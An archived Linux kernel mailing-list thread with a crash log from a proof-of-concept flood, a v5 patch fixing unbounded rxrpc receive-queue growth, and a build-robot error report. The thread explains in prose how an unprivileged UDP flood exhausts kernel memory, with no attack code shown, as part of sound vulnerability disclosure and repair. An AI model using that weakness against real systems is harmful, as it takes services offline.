[ 58.262036][ T9986] kmalloc-512 5402KB 6016KB
[ 58.262054][ T9986] kmalloc-256 3358KB 3456KB
[ 58.262081][ T9986] kmalloc-128 890KB 1044KB
[ 58.262118][ T9986] kmalloc-64 3014KB 3248KB
[ 58.262151][ T9986] kmalloc-32 457KB 1112KB
[ 58.262166][ T9986] kmalloc-16 517KB 532KB
[ 58.262180][ T9986] kmalloc-8 378KB 396KB
[ 58.262206][ T9986] kmalloc-192 685KB 860KB
[ 58.262227][ T9986] kmalloc-96 1233KB 1328KB
[ 58.262239][ T9986] kmem_cache_node 108KB 110KB
[ 58.262250][ T9986] kmem_cache 180KB 180KB
[ 58.262267][ T9986] Memory cgroup min protection 0kB -- low protection 0kB
[ 58.262278][ T9986] Tasks state (memory values in pages):
[ 58.262287][ T9986] [ pid ] uid tgid total_vm rss rss_anon rss_file rss_shmem pgtables_bytes swapents oom_score_adj name
[ 58.262507][ T9986] [ 4996] 0 4996 7999 270 228 41 1 86016 0 -250 systemd-journal
[ 58.262533][ T9986] [ 5005] 0 5005 9217 2826 2824 2 0 90112 0 -1000 systemd-udevd
[ 58.262556][ T9986] [ 8833] 0 8833 55235 419 317 102 0 69632 0 0 rsyslogd
[ 58.262578][ T9986] [ 9201] 0 9201 24973 356 354 2 0 77824 0 0 dhclient
[ 58.262607][ T9986] [ 9246] 0 9246 720 35 33 2 0 40960 0 0 agetty
[ 58.262629][ T9986] [ 9247] 0 9247 720 35 33 2 0 40960 0 0 agetty
[ 58.262651][ T9986] [ 9248] 0 9248 720 34 32 2 0 45056 0 0 agetty
[ 58.262673][ T9986] [ 9249] 0 9249 720 35 33 2 0 49152 0 0 agetty
[ 58.262695][ T9986] [ 9250] 0 9250 720 34 32 2 0 45056 0 0 agetty
[ 58.262717][ T9986] [ 9251] 0 9251 720 35 33 2 0 45056 0 0 agetty
[ 58.262738][ T9986] [ 9252] 0 9252 1101 36 34 2 0 45056 0 0 agetty
[ 58.262760][ T9986] [ 9253] 0 9253 3340 245 243 2 0 73728 0 -1000 sshd
[ 58.262782][ T9986] [ 9257] 0 9257 14097 392 391 1 0 81920 0 0 nginx
[ 58.262804][ T9986] [ 9258] 33 9258 14191 473 471 2 0 86016 0 0 nginx
[ 58.262825][ T9986] [ 9259] 33 9259 14191 473 471 2 0 86016 0 0 nginx
[ 58.262848][ T9986] [ 9969] 0 9969 1429 294 63 231 0 53248 0 0 bash
[ 58.262873][ T9986] [ 9972] 0 9972 3453 292 290 2 0 69632 0 0 sshd
[ 58.262894][ T9986] [ 9978] 1001 9978 3453 316 290 26 0 69632 0 0 sshd
[ 58.262915][ T9986] [ 9979] 1001 9979 246315 111 62 49 0 110592 0 0 poc_rxrpc_mem
[ 58.262937][ T9986] [ 10008] 0 10008 9217 2828 2826 2 0 69632 0 0 systemd-udevd
[ 58.262958][ T9986] Kernel panic - not syncing: Out of memory: system-wide panic_on_oom is enabled
[ 58.311202][ T9986] CPU: 0 UID: 1001 PID: 9986 Comm: poc_rxrpc_mem Not tainted 7.3.0-rc1+ #2 PREEMPT(full)
[ 58.312485][ T9986] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[ 58.314084][ T9986] Call Trace:
[ 58.314583][ T9986] <TASK>
[ 58.314977][ T9986] dump_stack_lvl (lib/dump_stack.c:94 lib/dump_stack.c:120)
[ 58.315778][ T9986] dump_stack (lib/dump_stack.c:129)
[ 58.316318][ T9986] vpanic (kernel/panic.c:651)
[ 58.316923][ T9986] ? __pfx_vpanic (kernel/panic.c:363)
[ 58.317681][ T9986] panic (kernel/panic.c:788)
[ 58.318199][ T9986] ? __pfx_panic (kernel/panic.c:741)
[ 58.318780][ T9986] ? dump_header (mm/oom_kill.c:475)
[ 58.319386][ T9986] out_of_memory (mm/oom_kill.c:1076 mm/oom_kill.c:1143)
[ 58.320413][ T9986] ? __pfx_out_of_memory (mm/oom_kill.c:835)
[ 58.321310][ T9986] __alloc_frozen_pages_noprof (mm/page_alloc.c:4113 mm/page_alloc.c:5030 mm/page_alloc.c:5449)
[ 58.322101][ T9986] ? __pfx___alloc_frozen_pages_noprof (mm/page_alloc.c:4022)
[ 58.322987][ T9986] ? stack_trace_save (kernel/stacktrace.c:122)
[ 58.323623][ T9986] ? __pfx_stack_trace_save (kernel/stacktrace.c:397)
[ 58.324856][ T9986] ? stack_depot_save_flags (lib/stackdepot.c:667)
[ 58.325538][ T9986] ? __sanitizer_cov_trace_cmp4 (kernel/kcov.c:284)
[ 58.326324][ T9986] ? find_match (net/ipv6/route.c:806)
[ 58.326933][ T9986] ? kvm_clock_get_cycles (arch/x86/kernel/kvmclock.c:87)
[ 58.327576][ T9986] ? kasan_save_stack (mm/kasan/common.c:58)
[ 58.328238][ T9986] ? kasan_save_stack (mm/kasan/common.c:57)
[ 58.328978][ T9986] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 58.329601][ T9986] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 58.330253][ T9986] allocate_slab (mm/slub.c:3347 mm/slub.c:3470)
[ 58.330834][ T9986] new_slab (mm/slub.c:3513)
[ 58.331382][ T9986] refill_objects (mm/slub.c:7410)
[ 58.332163][ T9986] ? __pcs_replace_empty_main (include/linux/local_lock_internal.h:62 mm/slub.c:4762)
[ 58.332895][ T9986] __pcs_replace_empty_main (mm/slub.c:2885 mm/slub.c:4774)
[ 58.333743][ T9986] kmem_cache_alloc_node_noprof (mm/slub.c:4850 mm/slub.c:4984 mm/slub.c:5068)
[ 58.334438][ T9986] ? kmalloc_reserve (net/core/skbuff.c:615)
[ 58.335030][ T9986] kmalloc_reserve (net/core/skbuff.c:615)
[ 58.335642][ T9986] __alloc_skb (net/core/skbuff.c:715)
[ 58.336180][ T9986] ? __alloc_skb (include/linux/bottom_half.h:20 net/core/skbuff.c:697)
[ 58.336915][ T9986] ? __pfx___alloc_skb (include/linux/fortify-string.h:447)
[ 58.337822][ T9986] alloc_skb_with_frags (include/linux/skbuff.h:1384 net/core/skbuff.c:6796)
[ 58.338451][ T9986] ? __sanitizer_cov_trace_switch (kernel/kcov.c:347)
[ 58.339358][ T9986] sock_alloc_send_pskb (net/core/sock.c:3015)
[ 58.340604][ T9986] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 58.341489][ T9986] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 58.342391][ T9986] ? __pfx_sock_alloc_send_pskb (net/core/sock.c:2847)
[ 58.343102][ T9986] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 58.343785][ T9986] ? ipv6_dev_get_saddr (include/linux/rcupdate.h:882 net/ipv6/addrconf.c:1916)
[ 58.344422][ T9986] ? __lock_acquire (kernel/locking/lockdep.c:4690 kernel/locking/lockdep.c:5208)
[ 58.345157][ T9986] __ip6_append_data (include/net/sock.h:1907 net/ipv6/ip6_output.c:1695)
[ 58.346979][ T9986] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 58.347777][ T9986] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 58.348518][ T9986] ? __pfx___ip6_append_data (net/ipv6/ip6_output.c:2063)
[ 58.349367][ T9986] ? ip6_mtu (net/ipv6/route.c:3290)
[ 58.349956][ T9986] ? ip6_setup_cork (net/ipv6/ip6_output.c:1450)
[ 58.350594][ T9986] ip6_make_skb (net/ipv6/ip6_output.c:2094)
[ 58.351217][ T9986] ? __pfx_ip_generic_getfrag (include/linux/skbuff.h:3160)
[ 58.352042][ T9986] ? __pfx_ip6_make_skb (net/ipv6/ip6_output.c:2040)
[ 58.352742][ T9986] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 58.353531][ T9986] udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 58.354292][ T9986] ? udpv6_sendmsg (net/ipv6/udp.c:1720)
[ 58.355035][ T9986] ? find_held_lock (kernel/locking/lockdep.c:5367)
[ 58.355630][ T9986] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 58.356278][ T9986] ? __sanitizer_cov_trace_const_cmp4 (kernel/kcov.c:310)
[ 58.357498][ T9986] ? __pfx_avc_has_perm (include/linux/rcupdate.h:878)
[ 58.358210][ T9986] ? sock_has_perm (security/selinux/hooks.c:4932)
[ 58.358966][ T9986] ? __pfx_udpv6_sendmsg (net/ipv6/udp.c:338)
[ 58.359843][ T9986] inet6_sendmsg (net/ipv6/af_inet6.c:641)
[ 58.360487][ T9986] ? inet6_sendmsg (net/ipv6/af_inet6.c:641)
[ 58.361121][ T9986] __sys_sendto (net/socket.c:800 net/socket.c:815 net/socket.c:2281)
[ 58.361733][ T9986] ? __pfx___sys_sendto (net/socket.c:2235)
[ 58.362396][ T9986] ? rcu_is_watching (include/linux/context_tracking.h:128 kernel/rcu/tree.c:753)
[ 58.363024][ T9986] ? xfd_validate_state (arch/x86/kernel/fpu/xstate.c:1544)
[ 58.363732][ T9986] ? debug_smp_processor_id (lib/smp_processor_id.c:58)
[ 58.364435][ T9986] __x64_sys_sendto (net/socket.c:2288 net/socket.c:2284 net/socket.c:2284)
[ 58.365103][ T9986] ? __this_cpu_preempt_check (lib/smp_processor_id.c:64)
[ 58.365979][ T9986] ? lockdep_hardirqs_on (kernel/locking/lockdep.c:4488)
[ 58.366685][ T9986] x64_sys_call (arch/x86/include/generated/asm/syscalls_64.h:45)
[ 58.367289][ T9986] do_syscall_64 (arch/x86/entry/syscall_64.c:61 arch/x86/entry/syscall_64.c:84)
[ 58.367887][ T9986] entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:121)
[ 58.368734][ T9986] RIP: 0033:0x423004
[ 58.369281][ T9986] Code: 7d e8 89 4d d4 e8 ac e7 02 00 44 8b 4d d0 4c 8b 45 c8 89 c3 44 8b 55 d4 8b 7d e8 b8 2c 00 00 00 48 8b 55 d8 48 8b 75 e0 0f 05 <48> 3d 00 f0 ff ff 77 34 89 df 48 89 45 e8 e8 f9 e7 02 00 48 8b 45
All code
========
0: 7d e8 jge 0xffffffffffffffea
2: 89 4d d4 mov %ecx,-0x2c(%rbp)
5: e8 ac e7 02 00 call 0x2e7b6
a: 44 8b 4d d0 mov -0x30(%rbp),%r9d
e: 4c 8b 45 c8 mov -0x38(%rbp),%r8
12: 89 c3 mov %eax,%ebx
14: 44 8b 55 d4 mov -0x2c(%rbp),%r10d
18: 8b 7d e8 mov -0x18(%rbp),%edi
1b: b8 2c 00 00 00 mov $0x2c,%eax
20: 48 8b 55 d8 mov -0x28(%rbp),%rdx
24: 48 8b 75 e0 mov -0x20(%rbp),%rsi
28: 0f 05 syscall
2a:* 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax <-- trapping instruction
30: 77 34 ja 0x66
32: 89 df mov %ebx,%edi
34: 48 89 45 e8 mov %rax,-0x18(%rbp)
38: e8 f9 e7 02 00 call 0x2e836
3d: 48 rex.W
3e: 8b .byte 0x8b
3f: 45 rex.RB
Code starting with the faulting instruction
===========================================
0: 48 3d 00 f0 ff ff cmp $0xfffffffffffff000,%rax
6: 77 34 ja 0x3c
8: 89 df mov %ebx,%edi
a: 48 89 45 e8 mov %rax,-0x18(%rbp)
e: e8 f9 e7 02 00 call 0x2e80c
13: 48 rex.W
14: 8b .byte 0x8b
15: 45 rex.RB
[ 58.371839][ T9986] RSP: 002b:00007f4cf3c491b0 EFLAGS: 00000293 ORIG_RAX: 000000000000002c
[ 58.372915][ T9986] RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 0000000000423004
[ 58.374020][ T9986] RDX: 0000000000000024 RSI: 00007f4cd8000b70 RDI: 0000000000000009
[ 58.375089][ T9986] RBP: 00007f4cf3c491f0 R08: 00000000290bab20 R09: 000000000000001c
[ 58.376279][ T9986] R10: 0000000000000000 R11: 0000000000000293 R12: 000000000000b99d
[ 58.377312][ T9986] R13: 0000000080173387 R14: 00000000005cce1c R15: 00000000290bab20
[ 58.378355][ T9986] </TASK>
[ 58.379713][ T9986] Kernel Offset: disabled
[ 58.380688][ T9986] Rebooting in 86400 seconds..
-----END crash log-----
Best regards,
Zihan Xi
Zihan Xi (1):
rxrpc: fix encap_rcv skb accounting exhaustion
net/rxrpc/io_thread.c | 61 ++++++++++++++++++++++++++++++++++++++--
net/rxrpc/local_object.c | 15 ++++++++--
2 files changed, 72 insertions(+), 4 deletions(-)
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* [PATCH net v5 1/1] rxrpc: fix encap_rcv skb accounting exhaustion
2026-09-14 13:09 [PATCH net v5 0/1] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
@ 2026-09-14 13:09 ` Zihan Xi
2026-09-15 6:40 ` kernel test robot
0 siblings, 1 reply; 3+ messages in thread
From: Zihan Xi @ 2026-09-14 13:09 UTC (permalink / raw)
To: dhowells, marc.dionne
Cc: zihanx, davem, edumazet, kuba, pabeni, horms, linux-afs, netdev,
linux-kernel, stable, Vega, Luxing Yin
rxrpc_encap_rcv() moves encapsulated UDP packets onto the local
RxRPC queue without preserving UDP receive-buffer accounting. A
local AF_RXRPC service such as the AFS callback listener can then
be flooded until that queue grows without bound.
Reaccount each encapsulated skb against the UDP socket before
queueing it and drop packets once sk_rcvbuf is exhausted. Orphan
PACKET skbs when the I/O thread dequeues them so UDP ownership
does not follow those packets onto call or connection queues.
Error-queue skbs keep their destructor. Clear sk_user_data under
RCU and release the socket only after the local queues are purged.
The kernel UDP tunnel never sized sk_rcvbuf, so it would stay at
sysctl_rmem_default (about 208KiB). That is smaller than one advertised
RxRPC receive window of ordinary DATA, so a compliant peer filling
rxrpc_rx_window_size packets could be dropped with no
EXCEEDS_WINDOW ACK. Set sk_rcvbuf from one ordinary-DATA window:
rxrpc_rx_window_size * SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2, plus 25%
for ACKs, extra calls and ICMP, clamped to [sysctl_rmem_default,
sysctl_rmem_max]. The * 2 covers typical 2-4KiB incoming UDP skb
truesize. Do not size from rxrpc_rx_mtu (jumbo 46). DATA admission
leaves one ordinary packet of rmem so ICMP/error-queue skbs can
still be queued while a DATA flood is at the cap.
Dropped packets increment UDP_MIB_RCVBUFERRORS and UDP_MIB_INERRORS
and use SKB_DROP_REASON_SOCKET_RCVBUFF. Clear skb->dev and drop the
dst, matching the ordinary UDP enqueue path.
sk_forward_alloc is not atomic. UDP serialises it with
sk->sk_receive_queue.lock; take that lock around the charge in
rxrpc_encap_rcv() and around skb_orphan() in the I/O thread. The
I/O thread uses spin_lock_bh() so a concurrent BH encap_rcv()
cannot update the same counter. The skbs stay on the RxRPC local
queue, not the UDP receive queue.
Fixes: 446b3e14525b ("rxrpc: Move packet reception processing into I/O thread")
Cc: stable@vger.kernel.org
Reported-by: Vega <vega@nebusec.ai>
Assisted-by: LLM
Co-developed-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Luxing Yin <root@tr0jan.top>
Signed-off-by: Zihan Xi <zihanx@nebusec.ai>
---
changes in v5:
- size the tunnel sk_rcvbuf to one advertised window of ordinary
DATA (RXRPC_JUMBO(1)), doubled for typical 2-4KiB skb truesize,
plus 25% for ACKs/ICMP, capped by sysctl_rmem_max
- leave ICMP/error-queue headroom in the DATA rmem check
- count UDP RCVBUFERRORS/INERRORS and drop with
SKB_DROP_REASON_SOCKET_RCVBUFF
- drop the dst instead of skb_dst_force(); keep skb->dev = NULL
- refresh the cover crash log from the latest unfixed net/main
run; record the panic as a sender-path OOM, not an I/O-thread
allocation
- v4 Link: https://lore.kernel.org/all/cover.1788878590.git.zihanx@nebusec.ai/
changes in v4:
- serialise UDP rmem charge/uncharge with sk->sk_receive_queue.lock
- use spin_lock() in encap_rcv() (BH) and spin_lock_bh() around
skb_orphan() in the I/O thread
- do not enqueue encapsulated skbs on the UDP receive queue
- orphan only PACKET skbs charged in encap_rcv(); leave error-queue
skb ownership alone
- restore the unprivileged namespace reproducer and document the
AFS callback listener
- clarify in the cover that the recorded panic is a downstream OOM
after extra I/O-thread contention, not the unprivileged flood
alone
- include the full OOM Mem-Info in the cover crash log
- v3 Link: https://lore.kernel.org/all/cover.1788539302.git.zihanx@nebusec.ai/
changes in v3:
- orphan the skb when the I/O thread dequeues it from the local
queue so UDP rmem ownership does not follow packets onto
call/conn queues
- mention both io_thread.c and local_object.c in the cover opening
- distinguish the unprivileged flood from extra steps used to
record the panic
- attribute the OOM to skbuff growth rather than incoming-call
setup
- describe the recorded panic as a downstream OOM after I/O-thread
contention, not as an allocation at the encap_rcv enqueue site
- v2 Link: https://lore.kernel.org/all/cover.1785339953.git.zihanx@nebusec.ai/
changes in v2:
- switch the drop path from atomic_inc(&udp_sk->sk_drops) to
sk_drops_inc(udp_sk)
- retarget Fixes to 446b3e14525b, the first boundary where encap_rcv
queued the skb onto local->rx_queue for later I/O-thread consumption
- rebase onto current net/main
- refresh the cover crash log from an unfixed 7.3.0-rc1+ net/main run
and include the decoded stack
- explain in the cover why packetdrill was not used
- document the actual flood command in the cover
- v1 Link: https://lore.kernel.org/all/cover.1784742007.git.zihanx@nebusec.ai/
net/rxrpc/io_thread.c | 61 ++++++++++++++++++++++++++++++++++++++--
net/rxrpc/local_object.c | 15 ++++++++--
2 files changed, 72 insertions(+), 4 deletions(-)
diff --git a/net/rxrpc/io_thread.c b/net/rxrpc/io_thread.c
index dc5184a2fa9d1..c77241b12f597 100644
--- a/net/rxrpc/io_thread.c
+++ b/net/rxrpc/io_thread.c
@@ -7,12 +7,48 @@
#define pr_fmt(fmt) KBUILD_MODNAME ": " fmt
+#include <net/udp.h>
+
#include "ar-internal.h"
static int rxrpc_input_packet_on_conn(struct rxrpc_connection *conn,
struct sockaddr_rxrpc *peer_srx,
struct sk_buff *skb);
+/*
+ * Drop UDP rmem ownership for packets charged in encap_rcv().
+ * sk_forward_alloc is serialised by sk_receive_queue.lock.
+ */
+static void rxrpc_skb_orphan_udp(struct sk_buff *skb)
+{
+ struct sock *sk = skb->sk;
+
+ if (!sk)
+ return;
+
+ spin_lock_bh(&sk->sk_receive_queue.lock);
+ skb_orphan(skb);
+ spin_unlock_bh(&sk->sk_receive_queue.lock);
+}
+
+static void rxrpc_encap_rcv_drop(struct sock *udp_sk, struct sk_buff *skb)
+{
+ struct net *net = sock_net(udp_sk);
+
+ sk_drops_inc(udp_sk);
+#if IS_ENABLED(CONFIG_IPV6)
+ if (skb->protocol == htons(ETH_P_IPV6)) {
+ __UDP6_INC_STATS(net, UDP_MIB_RCVBUFERRORS);
+ __UDP6_INC_STATS(net, UDP_MIB_INERRORS);
+ } else
+#endif
+ {
+ __UDP_INC_STATS(net, UDP_MIB_RCVBUFERRORS);
+ __UDP_INC_STATS(net, UDP_MIB_INERRORS);
+ }
+ sk_skb_reason_drop(udp_sk, skb, SKB_DROP_REASON_SOCKET_RCVBUFF);
+}
+
/*
* handle data received on the local endpoint
* - may be called in interrupt context
@@ -28,6 +64,8 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
struct sk_buff_head *rx_queue;
struct rxrpc_local *local = rcu_dereference_sk_user_data(udp_sk);
struct task_struct *io_thread;
+ unsigned int headroom;
+ unsigned int rcvbuf;
if (unlikely(!local)) {
kfree_skb(skb);
@@ -41,8 +79,6 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
if (skb->tstamp == 0)
skb->tstamp = ktime_get_real();
- skb->mark = RXRPC_SKB_MARK_PACKET;
- rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
rx_queue = &local->rx_queue;
#ifdef CONFIG_AF_RXRPC_INJECT_RX_DELAY
if (rxrpc_inject_rx_delay ||
@@ -52,6 +88,24 @@ int rxrpc_encap_rcv(struct sock *udp_sk, struct sk_buff *skb)
}
#endif
+ rcvbuf = READ_ONCE(udp_sk->sk_rcvbuf);
+ headroom = SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2;
+ spin_lock(&udp_sk->sk_receive_queue.lock);
+ if ((unsigned int)atomic_read(&udp_sk->sk_rmem_alloc) +
+ skb->truesize + headroom >= rcvbuf ||
+ !sk_rmem_schedule(udp_sk, skb, skb->truesize)) {
+ spin_unlock(&udp_sk->sk_receive_queue.lock);
+ rxrpc_encap_rcv_drop(udp_sk, skb);
+ return 0;
+ }
+
+ skb->dev = NULL;
+ skb_set_owner_r(skb, udp_sk);
+ spin_unlock(&udp_sk->sk_receive_queue.lock);
+ skb_dst_drop(skb);
+
+ skb->mark = RXRPC_SKB_MARK_PACKET;
+ rxrpc_new_skb(skb, rxrpc_skb_new_encap_rcv);
skb_queue_tail(rx_queue, skb);
wake_up_process(io_thread);
return 0;
@@ -471,6 +525,9 @@ int rxrpc_io_thread(void *data)
/* Distribute packets and errors. */
while ((skb = __skb_dequeue(&rx_queue))) {
struct rxrpc_skb_priv *sp = rxrpc_skb(skb);
+
+ if (skb->mark == RXRPC_SKB_MARK_PACKET)
+ rxrpc_skb_orphan_udp(skb);
switch (skb->mark) {
case RXRPC_SKB_MARK_PACKET:
skb->priority = 0;
diff --git a/net/rxrpc/local_object.c b/net/rxrpc/local_object.c
index 169f9dfdaa77f..2f93891e841ab 100644
--- a/net/rxrpc/local_object.c
+++ b/net/rxrpc/local_object.c
@@ -166,6 +166,7 @@ static int rxrpc_open_socket(struct rxrpc_local *local, struct net *net)
struct udp_port_cfg udp_conf = {0};
struct task_struct *io_thread;
struct sock *usk;
+ u32 rcvbuf;
int ret;
_enter("%p{%d,%d}",
@@ -198,6 +199,12 @@ static int rxrpc_open_socket(struct rxrpc_local *local, struct net *net)
/* set the socket up */
usk = local->socket->sk;
+ /* One advertised ordinary-DATA window, not jumbo-max. */
+ rcvbuf = rxrpc_rx_window_size * SKB_TRUESIZE(RXRPC_JUMBO(1)) * 2;
+ rcvbuf += rcvbuf / 4;
+ rcvbuf = clamp(rcvbuf, READ_ONCE(sysctl_rmem_default),
+ READ_ONCE(sysctl_rmem_max));
+ WRITE_ONCE(usk->sk_rcvbuf, rcvbuf);
usk->sk_error_report = rxrpc_error_report;
switch (srx->transport.family) {
@@ -437,8 +444,8 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
if (socket) {
local->socket = NULL;
kernel_sock_shutdown(socket, SHUT_RDWR);
- socket->sk->sk_user_data = NULL;
- sock_release(socket);
+ rcu_assign_sk_user_data(socket->sk, NULL);
+ synchronize_rcu();
}
/* At this point, there should be no more packets coming in to the
@@ -448,6 +455,10 @@ void rxrpc_destroy_local(struct rxrpc_local *local)
rxrpc_purge_queue(&local->rx_delay_queue);
#endif
rxrpc_purge_queue(&local->rx_queue);
+
+ if (socket)
+ sock_release(socket);
+
rxrpc_purge_client_connections(local);
page_frag_cache_drain(&local->tx_alloc);
}
--
2.43.0
^ permalink raw reply [flat|nested] 3+ messages in thread
* Re: [PATCH net v5 1/1] rxrpc: fix encap_rcv skb accounting exhaustion
2026-09-14 13:09 ` [PATCH net v5 1/1] " Zihan Xi
@ 2026-09-15 6:40 ` kernel test robot
0 siblings, 0 replies; 3+ messages in thread
From: kernel test robot @ 2026-09-15 6:40 UTC (permalink / raw)
To: Zihan Xi, dhowells, marc.dionne
Cc: llvm, oe-kbuild-all, zihanx, davem, edumazet, kuba, pabeni,
horms, linux-afs, netdev, linux-kernel, stable, Vega, Luxing Yin
Hi Zihan,
kernel test robot noticed the following build errors:
[auto build test ERROR on net/main]
url: https://github.com/intel-lab-lkp/linux/commits/Zihan-Xi/rxrpc-fix-encap_rcv-skb-accounting-exhaustion/20260914-130912
base: net/main
patch link: https://lore.kernel.org/r/d38b683f6d583cbbc23ee149b50b15b6e4efc567.1789273347.git.zihanx%40nebusec.ai
patch subject: [PATCH net v5 1/1] rxrpc: fix encap_rcv skb accounting exhaustion
config: x86_64-randconfig-073-20260915 (https://download.01.org/0day-ci/archive/20260915/202609151453.yX0JDG4h-lkp@intel.com/config)
compiler: clang version 22.1.3 (https://github.com/llvm/llvm-project e9846648fd6183ee6d8cbdb4502213fcf902a211)
reproduce (this is a W=1 build): (https://download.01.org/0day-ci/archive/20260915/202609151453.yX0JDG4h-lkp@intel.com/reproduce)
If you fix the issue in a separate patch/commit (i.e. not just a new version of
the same patch/commit), kindly add following tags
| Reported-by: kernel test robot <lkp@intel.com>
| Closes: https://lore.kernel.org/oe-kbuild-all/202609151453.yX0JDG4h-lkp@intel.com/
All errors (new ones prefixed by >>, old ones prefixed by <<):
>> ERROR: modpost: net/rxrpc/rxrpc.ko: symbol 'sysctl_rmem_default' undefined!
--
0-DAY CI Kernel Test Service
https://github.com/intel/lkp-tests/wiki
^ permalink raw reply [flat|nested] 3+ messages in thread
end of thread, other threads:[~2026-09-15 6:41 UTC | newest]
Thread overview: 3+ messages (download: mbox.gz / follow: Atom feed)
-- links below jump to the message on this page --
2026-09-14 13:09 [PATCH net v5 0/1] rxrpc: fix encap_rcv skb accounting exhaustion Zihan Xi
2026-09-14 13:09 ` [PATCH net v5 1/1] " Zihan Xi
2026-09-15 6:40 ` kernel test robot
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox
all inboxes | Powered by JetHome®